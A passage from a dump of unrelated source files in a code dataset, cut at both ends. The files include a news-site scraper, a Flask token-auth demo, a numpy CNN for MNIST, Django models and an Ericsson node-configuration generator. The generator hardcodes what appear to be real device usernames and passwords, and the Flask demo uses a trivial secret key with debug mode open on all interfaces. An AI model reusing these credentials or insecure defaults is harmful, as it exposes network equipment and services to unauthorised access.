JSON\")\n","sub_path":"0x11-python-network_1/8-json_api.py","file_name":"8-json_api.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"546634135","text":"from bs4 import BeautifulSoup\nfrom crawler.spiders import BaseSpider\nfrom crawler.items import *\nfrom utils.date_util import DateUtil\nfrom scrapy.http.request import Request\n\n\nclass KongthapgovlaSpider(BaseSpider):\n name = 'kongthapgovla'\n website_id = 1629\n language_id = 2005\n # allowed_domains = ['www.kongthap.gov.la/']\n start_urls = ['https://www.kongthap.gov.la/'] # https://www.kongthap.gov.la/\n\n def parse(self, response):\n soup = BeautifulSoup(response.text, 'lxml')\n categories = soup.select('#menu_news > ul > li > a')\n for category in categories:\n category_url = 'https://www.kongthap.gov.la/' + category.get('href')\n meta = {'category1': category.text}\n yield Request(url=category_url, callback=self.parse_page, meta=meta)\n\n def parse_page(self, response):\n soup = BeautifulSoup(response.text, 'lxml')\n articles = soup.select('#listNewsSM > a')\n for article in articles:\n article_url = 'https://www.kongthap.gov.la/' + article.get('href')\n yield Request(url=article_url, callback=self.parse_item, meta=response.meta)\n next_page = 'https://www.kongthap.gov.la/' + soup.select('#listNewsSM > center:nth-child(13) > b > nav > ul > li a')[-2].get('href')\n yield Request(url=next_page, callback=self.parse_page, meta=response.meta)\n\n def parse_item(self, response):\n soup = BeautifulSoup(response.text, 'lxml')\n item = NewsItem()\n item['category1'] = response.meta['category1']\n item['title'] = soup.select_one('#headpageLG > div.col-xs-9 > p:nth-child(1) > font:nth-child(1) > b').text.strip()\n tt = soup.select_one('#headpageSM > font:nth-child(3)').text.split('|')[0].split(' ')\n item['pub_time'] = tt[1] + ' ' + tt[2]\n item['images'] = [img.get('src') for img in soup.select('#headpageSM > a > img')]\n item['body'] = '\\n'.join([paragraph.text.strip() for paragraph in soup.select('#headpageSM > div > font') if paragraph.text!='' and paragraph.text!=' '])\n item['abstract'] = item['body'].split('\\n')[0]\n return item\n","sub_path":"crawler/no_pass/kongthapgovla.py","file_name":"kongthapgovla.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"71048860","text":"import os\n\nfrom metaappscriptsdk import MetaApp, pretty_json\n\nMETA = MetaApp()\nlog = META.log\n\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\n__DIR__ = os.getcwd() + \"/\"\n\nmetaql = META.MetaqlService\nresp = metaql.get_schema(\"adplatform\", \"campaign_stats_report\")\nprint(\"Schema:\\n\")\nprint(pretty_json(resp))\nlog.info(\"end\")\n","sub_path":"metaappscriptsdk/examples/metaql/metaql_get_schema.py","file_name":"metaql_get_schema.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"82868280","text":"from flask import Flask, g\r\nfrom flask_httpauth import HTTPTokenAuth\r\nfrom itsdangerous import TimedJSONWebSignatureSerializer\r\n\r\napp = Flask(__name__)\r\napp.config['SECRET_KEY'] = 'top secret!'\r\ntoken_serializer = TimedJSONWebSignatureSerializer(app.config['SECRET_KEY'], expires_in=3600)\r\n\r\nauth = HTTPTokenAuth(scheme='Bearer')\r\n\r\nusers = ['alice', 'bob']\r\nfor user in users:\r\n token = token_serializer.dumps({'username': user}).decode('utf-8')\r\n print('*** token for {}: \\n{}\\n'.format(user, token))\r\n\r\n\r\n@auth.verify_token\r\ndef verify_token(token):\r\n g.user = None\r\n try:\r\n data = token_serializer.loads(token)\r\n except:\r\n return False\r\n if 'username' in data:\r\n g.user = data['username']\r\n return True\r\n return False\r\n\r\n\r\n@app.route('/')\r\n@auth.login_required\r\ndef index():\r\n return 'Hello, %s!' % g.user\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True, host='0.0.0.0', port=8000)\r\n","sub_path":"basic_/flask_/auth_/token_.py","file_name":"token_.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"68111413","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport random\nfrom sklearn import preprocessing\n\n\n\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=False)\nx_train=mnist.train.images.reshape(55000,28,28)\ny_train=mnist.train.labels\nnumberdata=150\nx_t=x_train[0:numberdata,:,:]\nx_test=mnist.test.images.reshape(10000,28,28)\ny_test=mnist.test.labels\n\nx_test_b=x_test[0:100,:,:]\ny_test_b=y_test[0:100]\n \n\nfor i in range (x_t.shape[1]):\n for j in range (x_t.shape[2]):\n mean=np.mean(x_t[:,i,j])\n std=np.std(x_t[:,i,j])\n for e in range (x_t.shape[0]):\n x_t[e,i,j]=(x_t[e,i,j]-mean)/std\n if (np.isnan(x_t[e,i,j])):\n x_t[e,i,j]=0\n\ny_t=y_train[0:numberdata]\nl1,l2,l3=0.0001,0.0001,0.0001\n#plt.gray() # use this line if you don't want to see it in color\n#plt.imshow(x_train[2].reshape(28,28))\n#plt.show()\n \n#Z is activated matrix after 1st convolution \n \ndef relu(image):\n #print\"inside relu image size\",image.shape\n image[image<0]=0\n return image\n\ndef zero_pad(X, pad):\n X_pad = np.pad(X,((0,0),(pad,pad),(pad,pad),(0,0)),'constant',constant_values = 0)\n \n return X_pad\n \n \ndef conv_single_step(a_slice_prev, W, b):\n s = np.multiply(a_slice_prev,W)\n # Sum over all entries of the volume s.\n Z = np.sum(s)\n # Add bias b to Z. Cast b to a float() so that Z results in a scalar value.\n Z = Z + float(b)\n return Z\n\ndef conv_forward(A_prev, W, b, hparameters):\n (m, n_H_prev, n_W_prev, n_C_prev) = A_prev.shape\n \n \n (f, f, n_C_prev, n_C) = W.shape\n \n \n stride = hparameters['stride']\n pad = hparameters['pad']\n \n n_H = int(np.floor((n_H_prev-f+2*pad)/stride)) + 1\n n_W = int(np.floor((n_W_prev-f+2*pad)/stride)) + 1\n \n Z = np.zeros((m,n_H,n_W,n_C))\n \n A_prev_pad = zero_pad(A_prev,pad)\n \n for i in range(m): \n a_prev_pad = A_prev_pad[i] \n for h in range(n_H): \n for w in range(n_W): \n for c in range(n_C): \n \n vert_start = h*stride\n vert_end = vert_start+f\n horiz_start = w*stride\n horiz_end = horiz_start+f\n \n a_slice_prev = a_prev_pad[vert_start:vert_end,horiz_start:horiz_end,:]\n \n Z[i, h, w, c] = conv_single_step(a_slice_prev,W[:,:,:,c],b[:,:,:,c])\n \n \n assert(Z.shape == (m, n_H, n_W, n_C))\n \n cache = (A_prev, W, b, hparameters)\n \n return Z, cache\n\ndef pool_forward(A_prev, hparameters, mode = \"max\"):\n \n \n (m, n_H_prev, n_W_prev, n_C_prev) = A_prev.shape\n \n f = hparameters[\"f\"]\n stride = hparameters[\"stride\"]\n \n n_H = int(1 + (n_H_prev - f) / stride)\n n_W = int(1 + (n_W_prev - f) / stride)\n n_C = n_C_prev\n \n A = np.zeros((m, n_H, n_W, n_C)) \n \n for i in range(m):\n for h in range(n_H):\n for w in range(n_W): \n for c in range (n_C):\n \n vert_start = (h)*stride\n vert_end = vert_start+f\n horiz_start = (w)*stride\n horiz_end = horiz_start+f\n \n a_prev_slice = A_prev[i,vert_start:vert_end,horiz_start:horiz_end,c]\n \n if mode == \"max\":\n A[i, h, w, c] = np.max(a_prev_slice)\n elif mode == \"average\":\n A[i, h, w, c] = np.mean(a_prev_slice)\n \n \n cache = (A_prev, hparameters)\n \n assert(A.shape == (m, n_H, n_W, n_C))\n \n return A, cache\n\n\n\n\n\ndef softmax(x):\n \"\"\"Compute softmax values for each sets of scores in x.\"\"\"\n return np.exp(x) / np.sum(np.exp(x), axis=0)\n\ndef softmax_classifier(softmax_output):\n predicted=np.zeros(shape=(softmax_output.shape[0],1))\n predicted=np.argmax(softmax_output,axis=1)\n return predicted\n\n\n\ndef conv_backward(dZ, cache):\n \n \n (A_prev, W, b, hparameters) = cache\n \n \n (m, n_H_prev, n_W_prev, n_C_prev) = A_prev.shape\n \n \n (f, f, n_C_prev, n_C) = W.shape\n \n \n stride = hparameters['stride']\n pad = hparameters['pad']\n \n # Retrieve dimensions from dZ's shape\n (m, n_H, n_W, n_C) = dZ.shape\n \n # Initialize dA_prev, dW, db with the correct shapes\n dA_prev = np.zeros_like(A_prev) \n dW = np.zeros_like(W)\n db = np.zeros_like(b)\n\n # Pad A_prev and dA_prev\n A_prev_pad = zero_pad(A_prev,pad)\n dA_prev_pad = zero_pad(dA_prev,pad)\n \n for i in range(m): # loop over the training examples\n \n # select ith training example from A_prev_pad and dA_prev_pad\n a_prev_pad = A_prev_pad[i]\n da_prev_pad = dA_prev_pad[i]\n \n for h in range(n_H): # loop over vertical axis of the output volume\n for w in range(n_W): # loop over horizontal axis of the output volume\n for c in range(n_C): # loop over the channels of the output volume\n \n # Find the corners of the current \"slice\"\n vert_start = h*stride\n vert_end = vert_start+f\n horiz_start = w*stride\n horiz_end = horiz_start+f\n \n # Use the corners to define the slice from a_prev_pad\n a_slice = a_prev_pad[vert_start:vert_end,horiz_start:horiz_end,:]\n\n # Update gradients for the window and the filter's parameters using the code formulas given above\n da_prev_pad[vert_start:vert_end, horiz_start:horiz_end, :] += W[:,:,:,c] * dZ[i,h,w,c]\n dW[:,:,:,c] += a_slice*dZ[i,h,w,c]\n db[:,:,:,c] += dZ[i,h,w,c]\n \n \n assert(dA_prev.shape == (m, n_H_prev, n_W_prev, n_C_prev))\n \n return dA_prev, dW, db\n\n\ndef create_mask_from_window(x):\n mask = (x == np.max(x))\n return mask\n\ndef distribute_value(dz, shape):\n (n_H, n_W) = shape\n average = dz\n a = average*np.ones((n_H,n_W))/(n_H*n_W)\n return a\n\n\n\n\n\n\n\n\ndef pool_backward(dA, cache, mode = \"max\"):\n \n (A_prev, hparameters_pool) = cache\n \n \n stride = hparameters_pool['stride']\n f = hparameters_pool['f']\n \n \n m, n_H_prev, n_W_prev, n_C_prev = A_prev.shape\n m, n_H, n_W, n_C = dA.shape\n \n \n dA_prev = np.zeros_like(A_prev)\n \n for i in range(m): # loop over the training examples\n \n \n a_prev = A_prev[i]\n \n for h in range(n_H): # loop on the vertical axis\n for w in range(n_W): # loop on the horizontal axis\n for c in range(n_C): # loop over the channels (depth)\n \n \n vert_start = h *stride\n vert_end = vert_start + f\n horiz_start = w*stride\n horiz_end = horiz_start + f\n \n \n if mode == \"max\":\n \n \n a_prev_slice = a_prev[vert_start:vert_end, horiz_start:horiz_end, c]\n \n mask = create_mask_from_window(a_prev_slice)\n \n dA_prev[i, vert_start: vert_end, horiz_start: horiz_end, c] += mask * dA[i, h, w, c]\n \n elif mode == \"average\":\n \n \n da = dA[i,h,w,c]\n \n shape = (f,f)\n \n dA_prev[i, vert_start: vert_end, horiz_start: horiz_end, c] += distribute_value(da,shape)\n \n \n assert(dA_prev.shape == A_prev.shape)\n \n return dA_prev\n\nnp.random.seed(3)\nW=np.random.randn(3,3,1,2)\n\nnp.random.seed(3)\nb=np.random.randn(1,1,1,2)\n\nhparameters={\"stride\":1,\"pad\":1,\"f\":3}\nx_tt=x_t.reshape(numberdata,28,28,1)\n#z=np.zeros(50000,28,28,2)\nproduct=26*26*2\n\nnp.random.seed(3)\nW1=np.random.randn(15,product)\n\nB1=np.zeros((15,1))\n\nnp.random.seed(3)\nW2 = np.random.randn(10,15)\n\nb2 = np.zeros((10,1))\nloss1=[]\ni=0\nfor i in range (1,5):\n \n z , cachec = conv_forward(x_tt,W,b,hparameters)\n z=relu(z)\n \n #print z.shape\n \n z1, cachep =pool_forward(z,hparameters,\"max\")\n \n \n \n product=z1.shape[1]*z1.shape[2]*z1.shape[3]\n \n final_input=z1.reshape(z1.shape[0],product)\n \n Z1 = np.dot(final_input,W1.T) + B1.T\n A1 = 1/(1+np.exp(-Z1))\n\n Z2 = np.dot(A1,W2.T) + b2.T\n\n Z3=softmax(Z2)\n #print Z3.shape\n \n Z4=softmax_classifier(Z3)\n #print Z4\n \n Y = np.eye(numberdata,10)[y_t.reshape(-1)]\n loss = -sum(np.sum(Y*np.log(Z3),axis = 1))/len(Y)\n loss1.append(loss)\n \n dZ2 = Z3 - Y\n\n dW2 = np.dot(dZ2.T , A1)\n db2 = np.sum(dZ2,axis= 0,keepdims = True)\n\n W2 = W2 - l3 * dW2\n b2 = b2 - l3 * db2.T\n\n dZ1 = np.dot(dZ2,W2) * ((1-A1)*A1)\n dW1 = np.dot(dZ1.T , final_input)\n db1 = np.sum(dZ1,axis= 0,keepdims = True)\n\n W1 = W1 - l2 * dW1\n B1 = B1 - l2 * db1.T\n\n dA0 = np.dot(dZ1,W1)\n \n\n\n\n dA0 = dA0.reshape((numberdata,26,26,2))\n\n dA_conv = pool_backward(dA0 ,cachep,mode = 'max')\n\n dA_prev, dW, db = conv_backward(dA_conv,cachec)\n\n W = W - l1 * dW\n b = b - l1 * db\n\nplt.plot(np.arange(i),loss1)\n\nzt1,ca=conv_forward(x_test_b.reshape(100,28,28,1),W,b,hparameters)\nzt1=relu(zt1)\nzt2,ca1=pool_forward(zt1,hparameters,\"max\")\n\n \n \nproduct=zt2.shape[1]*zt2.shape[2]*zt2.shape[3]\n \nfinal_input=zt2.reshape(zt2.shape[0],product)\n \nZt2 = np.dot(final_input,W1.T) + B1.T\nA1 = 1/(1+np.exp(-Zt2))\n\nZt3 = np.dot(A1,W2.T) + b2.T\n\nZt4=softmax(Zt3)\nZt5=softmax_classifier(Zt4)\n\nc=0\nfor i in range(Zt5.shape[0]):\n if(Zt5[i]==y_test_b[i]):\n c=c+1\naccuracy=c\nprint(\"accuracy\",str(c)+\"%\")\n\n","sub_path":"assignment_cnn.py","file_name":"assignment_cnn.py","file_ext":"py","file_size_in_byte":10241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"213542727","text":"#coding=utf8\nfrom django.contrib.auth.models import User\nfrom django.db import models\n\n# Create your models here.\n\nclass Sala(models.Model):\n nazwa = models.CharField(max_length=255, verbose_name=\"Nazwa sali\")\n\n def __str__(self):\n return \"Sala lekcyjna %s\" % (self.nazwa, )\n\n class Meta:\n verbose_name_plural = \"Sale lekcyjne\"\n\n\nclass Termin(models.Model):\n sala = models.ForeignKey(Sala)\n user = models.ForeignKey(User)\n poczatek = models.DateTimeField(verbose_name=\"Data i godzina rozpoczęcia\")\n koniec = models.DateTimeField(verbose_name=\"Data/godzina końca rezerwacji\")\n\n class Meta:\n verbose_name_plural = \"Terminy rezerwacji sal\"\n","sub_path":"app2_system_rezerwacji_sal/rezerwacja/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"40633929","text":"\"\"\"\nhttps://leetcode.com/problems/keys-and-rooms/\n\nDFS\nTry to enter every room.\n\nTime complexity: O(N)\n\"\"\"\nclass Solution:\n def canVisitAllRooms(self, rooms: List[List[int]]) -> bool:\n entered_room = set()\n n = len(rooms)\n stack = [0]\n while stack:\n room = stack.pop()\n if room in entered_room:\n continue\n entered_room.add(room)\n stack += rooms[room]\n\n return n == len(entered_room)","sub_path":"0841_KeysAndRooms.py","file_name":"0841_KeysAndRooms.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"179414702","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\n\nclass createNodeInfoENM:\n\n def __init__(self, path, node, bb, oss_region, siteBasicFileName, siteEquipmentFileName, TNFileName, siteInstallationFileName, radioXmlFileName, ip_mul):\n self.path = path\n self.node = node\n self.oss_region = oss_region\n self.bb = bb\n if self.bb == 'BB5216' or self.bb == 'BB6630':\n self.upgradePack1 = '18.Q3-R49A16' #Previous self.upgradePack1 = '18.Q3-R45A04'\n self.upgradePack2 = 'RadioNode CXP9024418/6 R48K35 18.Q3' #Previous self.upgradePack2 = 'RadioNode R48C81 release upgrade package'\n self.usr = 'us000003'\n self.pwd = '81e02DWU'\n else:\n self.upgradePack1 = '18.Q3-J.2.150' #L17Q3 self.upgradePack1 = '17Q3-J.1.80'\n self.upgradePack2 = 'CXP102051_27_R48K29' #Previous self.upgradePack2 = 'CXP102051_27_R48C35' \n self.usr = 'rbs'\n self.pwd = 'TIMtim@lte01'\n self.path_NodeInfo = os.path.join(os.path.join(path, self.node), 'nodeInfo.xml')\n self.siteBasicFileName = siteBasicFileName\n self.siteEquipmentFileName = siteEquipmentFileName\n self.TNFileName = TNFileName\n self.siteInstallationFileName = siteInstallationFileName\n self.radioXmlFileName = radioXmlFileName\n self.ip_mul = ip_mul\n\n def go(self):\n s = '\\n'\n s += '\\n'\n s += '\\n'\n s += '\\t'+self.node+'\\n'\n s += '\\t'+self.upgradePack1+'\\n' # Upgrade Package\n s += '\\t'+self.ip_mul+'\\n'\n if self.bb == 'DUS41':\n s += '\\tERBS\\n' \n else:\n s += '\\tRadioNode\\n'\n s += '\\tSubNetwork='+self.oss_region+',MeContext='+self.node+'\\n'\n s += '\\n'\n s += '\\n'\n s += '\\t\\n'\n s += '\\t'*2+''+self.upgradePack2+'\\n' # Upgrade Package\n if self.bb == 'DUS41':\n s += '\\t'*2+'false\\n' \n s += '\\t'*2+'true\\n'\n s += '\\t\\n'\n s += '\\n'\n s += '\\t\\n'\n s += '\\t'*2+'\\n'\n s += '\\t'*3+''+self.usr+'\\n'\n s += '\\t'*3+''+self.pwd+'\\n'\n s += '\\t'*2+'\\n'\n s += '\\t\\n'\n s += '\\n'\n s += '\\t'*2+'\\n'\n s += '\\t'*3+'false\\n'\n if self.bb == 'DUS41':\n s += '\\t'*3+'false\\n'\n s += '\\t'*2+'\\n' \n s += '\\n'\n s += '\\t\\n'\n s += '\\t'*2+'enabled\\n'\n s += '\\t'*2+'enabled\\n'\n if self.bb == 'DUS41':\n s += '\\t'*2+'enabled\\n'\n s += '\\t\\n'\n s += '\\n'\n s += '\\t\\n'\n s += '\\t'*2+''+self.siteInstallationFileName+'\\n'\n s += '\\t'*2+''+self.siteBasicFileName+'\\n'\n s += '\\t'*2+''+self.siteEquipmentFileName+'\\n'\n s += '\\t'*2+'\\n'\n if self.bb == 'DUS41':\n s += '\\t'*3+''+self.TNFileName+'\\n'\n s += '\\t'*3+''+self.radioXmlFileName+'\\n'\n else:\n s += '\\t'*3+''+self.TNFileName+'\\n'\n s += '\\t'*3+''+self.radioXmlFileName+'\\n'\n s += '\\t'*2+'\\n' \n s += '\\t\\n'\n s += '\\n'\n NodeInfo = open(self.path_NodeInfo, 'w')\n NodeInfo.write(s)\n NodeInfo.close()\n\n\n\n","sub_path":"create/createNodeInfoENM.py","file_name":"createNodeInfoENM.py","file_ext":"py","file_size_in_byte":4370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"422692916","text":"# coding: utf-8\n\nfrom odoo.tools.pycompat import imap\nfrom odoo.addons.account.tests.account_test_classes import AccountingTestCase\nfrom odoo.tools import DEFAULT_SERVER_DATE_FORMAT\n\n\nclass InvoiceTransactionCase(AccountingTestCase):\n def setUp(self):\n super(InvoiceTransactionCase, self).setUp()\n self.invoice_model = self.env['account.invoice']\n self.invoice_line_model = self.env['account.invoice.line']\n self.tax_model = self.env['account.tax']\n self.partner_agrolait = self.env.ref(\"base.res_partner_address_4\")\n self.partner_agrolait.type = 'invoice'\n self.partner_agrolait.parent_id.street_name = 'Street Parent'\n self.product = self.env.ref(\"product.product_product_3\")\n self.company = self.env.user.company_id\n self.account_settings = self.env['res.config.settings']\n self.account_sale = self.env.ref('l10n_mx.1_cuenta401_01')\n self.tax_positive = self.tax_model.search([('name', '=', 'IVA(16%) VENTAS')])[0]\n self.tax_positive.l10n_mx_cfdi_tax_type = 'Tasa'\n self.tax_negative = self.tax_model.create({\n 'name': 'ISR',\n 'amount_type': 'percent',\n 'amount': -10,\n 'l10n_mx_cfdi_tax_type': 'Tasa',\n })\n self.product.taxes_id = [self.tax_positive.id, self.tax_negative.id]\n self.product.l10n_mx_edi_code_sat_id = self.ref(\n 'l10n_mx_edi.prod_code_sat_01010101')\n self.fiscal_position_model = self.env['account.fiscal.position']\n self.fiscal_position = self.fiscal_position_model.create({\n 'name': 'Personas morales del régimen general',\n 'l10n_mx_edi_code': '601',\n })\n self.payment_method_cash = self.env.ref(\n 'l10n_mx_edi.payment_method_efectivo')\n self.account_payment = self.env['res.partner.bank'].create({\n 'acc_number': '123456789',\n })\n self.rate_model = self.env['res.currency.rate']\n self.mxn = self.env.ref('base.MXN')\n self.usd = self.env.ref('base.USD')\n self.ova = self.env['account.account'].search([\n ('user_type_id', '=', self.env.ref(\n 'account.data_account_type_current_assets').id)], limit=1)\n self.uid = self.env['res.users'].create({\n 'name': 'User billing mx',\n 'login': 'mx_billing_user',\n 'email': 'mx_billing_user@yourcompany.com',\n 'company_id': self.env.ref('base.main_company').id,\n 'groups_id': [(6, 0, [self.ref('account.group_account_invoice')])]\n })\n\n def set_currency_rates(self, mxn_rate, usd_rate):\n date = (self.env['l10n_mx_edi.certificate'].sudo().\n get_mx_current_datetime().strftime(DEFAULT_SERVER_DATE_FORMAT))\n self.mxn.rate_ids.filtered(\n lambda r: r.name == date).unlink()\n self.mxn.rate_ids = self.rate_model.create({\n 'rate': mxn_rate, 'name': date})\n self.usd.rate_ids.filtered(\n lambda r: r.name == date).unlink()\n self.usd.rate_ids = self.rate_model.create({\n 'rate': usd_rate, 'name': date})\n\n def create_invoice(self, inv_type='out_invoice', currency_id=None):\n if currency_id is None:\n currency_id = self.usd.id\n invoice = self.invoice_model.with_env(self.env(user=self.uid)).create({\n 'partner_id': self.partner_agrolait.id,\n 'type': inv_type,\n 'currency_id': currency_id,\n 'l10n_mx_edi_payment_method_id': self.payment_method_cash.id,\n 'l10n_mx_edi_partner_bank_id': self.account_payment.id,\n })\n self.create_invoice_line(invoice)\n invoice.compute_taxes()\n # I manually assign a tax on invoice\n self.env['account.invoice.tax'].create({\n 'name': 'Test Tax for Customer Invoice',\n 'manual': 1,\n 'amount': 0,\n 'account_id': self.ova.id,\n 'invoice_id': invoice.id,\n })\n return invoice\n\n def create_invoice_line(self, invoice_id):\n invoice_line = self.invoice_line_model.new({\n 'product_id': self.product.id,\n 'invoice_id': invoice_id,\n 'quantity': 1,\n })\n invoice_line._onchange_product_id()\n invoice_line_dict = invoice_line._convert_to_write({\n name: invoice_line[name] for name in invoice_line._cache})\n invoice_line_dict['price_unit'] = 450\n self.invoice_line_model.create(invoice_line_dict)\n\n def xml_merge_dynamic_items(self, xml, xml_expected):\n if xml.get('version', xml.get('Version')) == '3.2':\n xml_expected.attrib['fecha'] = xml.attrib['fecha']\n xml_expected.attrib['sello'] = xml.attrib['sello']\n else:\n xml_expected.attrib['Fecha'] = xml.attrib['Fecha']\n xml_expected.attrib['Sello'] = xml.attrib['Sello']\n xml_expected.attrib['Serie'] = xml.attrib['Serie']\n xml_expected.Complemento = xml.Complemento\n\n def xml2dict(self, xml):\n \"\"\"Receive 1 lxml etree object and return a dict string.\n This method allow us have a precise diff output\"\"\"\n def recursive_dict(element):\n return (element.tag,\n dict((recursive_dict(e) for e in element.getchildren()),\n ____text=(element.text or '').strip(), **element.attrib))\n return dict([recursive_dict(xml)])\n\n def assertEqualXML(self, xml_real, xml_expected):\n \"\"\"Receive 2 objectify objects and show a diff assert if exists.\"\"\"\n xml_expected = self.xml2dict(xml_expected)\n xml_real = self.xml2dict(xml_real)\n # \"self.maxDiff = None\" is used to get a full diff from assertEqual method\n # This allow us get a precise and large log message of where is failing\n # expected xml vs real xml More info:\n # https://docs.python.org/2/library/unittest.html#unittest.TestCase.maxDiff\n self.maxDiff = None\n self.assertEqual(xml_real, xml_expected)\n","sub_path":"Localizacion_EDI_mx/l10n_mx_edi/tests/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":6036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"89564217","text":"from __future__ import print_function\nimport acm\nimport os\nimport re\nimport FAptReportUtils as utils\nimport FAptReportCommon\nimport FReportParser\nimport xml.etree.cElementTree as ElementTree\nimport FAptLauncher\nimport FLogger\n\nlogger = FLogger.FLogger.GetLogger('APT')\n\nclass PrimeReportWriter(object):\n\n MODULE_NAME = 'AMI APT'\n\n def __init__(self, portfolios=[], trade_filters=[], instruments=[], grouper=None):\n self.trading_sheet = acm.FPortfolioSheet()\n self.portfolios = portfolios\n self.trade_filters = trade_filters\n self.instruments = instruments\n self.grouper = grouper\n self.output = acm.FXmlReportOutput('')\n self.grid = acm.Report.CreateReport(\"test\", self.output)\n self.config = acm.Report.CreateGridConfiguration(False, True)\n self.output.IncludeFormattedData(False)\n self.grid.OpenSheet(self.trading_sheet, self.config)\n self.grid_builder = self.grid.GridBuilder()\n self._insert_contents()\n self._insert_columns()\n self.grid.Generate()\n \n def _get_column_creators(self):\n context = acm.GetDefaultContext()\n module = context.GetModule(self.MODULE_NAME)\n column_extensions = module.GetAllExtensions('FColumnDefinition')\n column_names = acm.FArray().AddAll([column.Name() for column in column_extensions])\n return acm.GetColumnCreators(column_names, context)\n \n def _insert_columns(self):\n column_creators = self._get_column_creators()\n self.grid_builder.ColumnCreators().Clear()\n for index in range(column_creators.Size()):\n self.grid_builder.ColumnCreators().Add(column_creators.At(index))\n \n def _insert_contents(self):\n for item in self.portfolios+self.trade_filters+self.instruments:\n top_node = self.grid_builder.InsertItem(item)\n top_node.ApplyGrouper(self.grouper)\n \n def get_xml(self):\n return self.output.AsString()\n \n def get_parser(self):\n parser = FReportParser.Contents(None, self.get_xml())\n return parser\n\nclass AptColumns:\n #COMPOSIOTION COLUMNS\n RECON_ID_TYPE = 'APT_Compositions_00_AptReconIdType'\n COMP_CURRENCY = 'APT_Compositions_01_CompositionCurrency'\n COMP_DATE = 'APT_Compositions_02_Date'\n COMP_ID_TYPE = 'APT_Compositions_03_IdType'\n COMP_ID = 'APT_Compositions_04_Id'\n ASSET_UNITS = 'APT_Compositions_05_Units'\n ASSET_PRICE = 'APT_Compositions_06_Price'\n FOREIGN_CURRENCY = 'APT_Compositions_07_ForeignCurrency'\n DOMESTIC_CURRENCY = 'APT_Compositions_08_DomesticCurrency'\n ROW_CLASS = 'APT_Compositions_09_RowClass'\n FOREIGN_CURRENCY_PRICE = 'APT_Compositions_10_ForeignCurrencyPrice'\n DOMESTIC_CURRENCY_PRICE = 'APT_Compositions_11_DomesticCurrencyPrice'\n FOREIGN_CURRENCY_UNITS = 'APT_Compositions_12_ForeignCurrencyUnits'\n DOMESTIC_CURRENCY_UNITS = 'APT_Compositions_13_DomesticCurrencyUnits'\n BASE_CURRENCY_PRICE = 'APT_Compositions_14_BaseCurrencyPrice'\n BASE_CURRENCY_UNITS = 'APT_Compositions_15_BaseCurrencyUnits'\n CFD_CURR_VALUES = 'APT_Compositions_16_CfdCurrencyValues'\n CFD_UND_VALUES = 'APT_Compositions_17_CfdUnderlyingValues'\n CFD_PAYMENTS_CURR = 'APT_Compositions_18_CfdPaymentsCurrency'\n EXPORT_TYPE = 'APT_Compositions_19_AptExportType'\n \n #UNIVERSE COLUMNS\n\n ASSET_CLASS = 'APT_Universe_01_AssetClass'\n ASSET_ID = 'APT_Universe_02_Id'\n ASSET_ID_TYPE = 'APT_Universe_03_IdType'\n MARKET_DATA_DATE = 'APT_Universe_04_MarketDataDate'\n CURRENCY = 'APT_Universe_05_Currency'\n UND_ID_TYPE = 'APT_Universe_06_UnderlyingIdType'\n UND_ID = 'APT_Universe_07_UnderlyingId'\n PRICE = 'APT_Universe_08_Price'\n INITIAL_PRICE = 'APT_Universe_09_InitialPrice'\n FORWARD_PRICE = 'APT_Universe_10_ForwardPrice'\n UND_PRICE = 'APT_Universe_11_UnderlyingPrice'\n STRIKE = 'APT_Universe_12_Strike'\n TYPE = 'APT_Universe_13_Type'\n EXERCISE_TYPE = 'APT_Universe_14_ExerciseType'\n DELTA = 'APT_Universe_15_Delta'\n UND_DIV_YIELD = 'APT_Universe_16_DividendYield'\n RISK_FREE_RATE = 'APT_Universe_17_RiskFreeRate'\n ISSUER = 'APT_Universe_18_Issuer'\n BORROWER_CLASS = 'APT_Universe_19_BorrowerClass'\n RATING = 'APT_Universe_20_CreditRating'\n ISSUE_DATE = 'APT_Universe_21_IssueDate'\n REDEMPTION_DATE = 'APT_Universe_22_RedemptionDate'\n MATURITY = 'APT_Universe_23_Maturity'\n EXPIRES = 'APT_Universe_24_Expires'\n COUPON_FREQUENCY = 'APT_Universe_25_CouponFrequency'\n PAYMENT_FREQUENCY = 'APT_Universe_26_PaymentFrequency'\n SHORT_PAYMENT_FREQUENCY = 'APT_Universe_27_ShortPaymentFrequency'\n COUPON = 'APT_Universe_28_Coupon'\n SPREAD = 'APT_Universe_29_FloatingSpread'\n SWAP_RATE = 'APT_Universe_30_SwapRate'\n INFLATION_INDEX = 'APT_Universe_31_InflationIndex'\n EFFECTIVE_DURATION = 'APT_Universe_32_EffectiveDuration'\n SERVICE_FEE = 'APT_Universe_33_ServiceFee'\n MBS_TYPE = 'APT_Universe_34_MBSType'\n TERM_LENGTH = 'APT_Universe_35_TermLength'\n SWAP_TYPE = 'APT_Universe_36_SwapType'\n SWAP_TERM_YRS = 'APT_Universe_37_SwapTermYrs'\n UND_TYPE = 'APT_Universe_38_UnderlyingType'\n IS_BARRIER = 'APT_Universe_39_IsBarrier' \n BARRIER_TYPE = 'APT_Universe_40_BarrierType'\n BARRIER_DIRECTION = 'APT_Universe_41_BarrierDirection' \n BARRIER_VALUE = 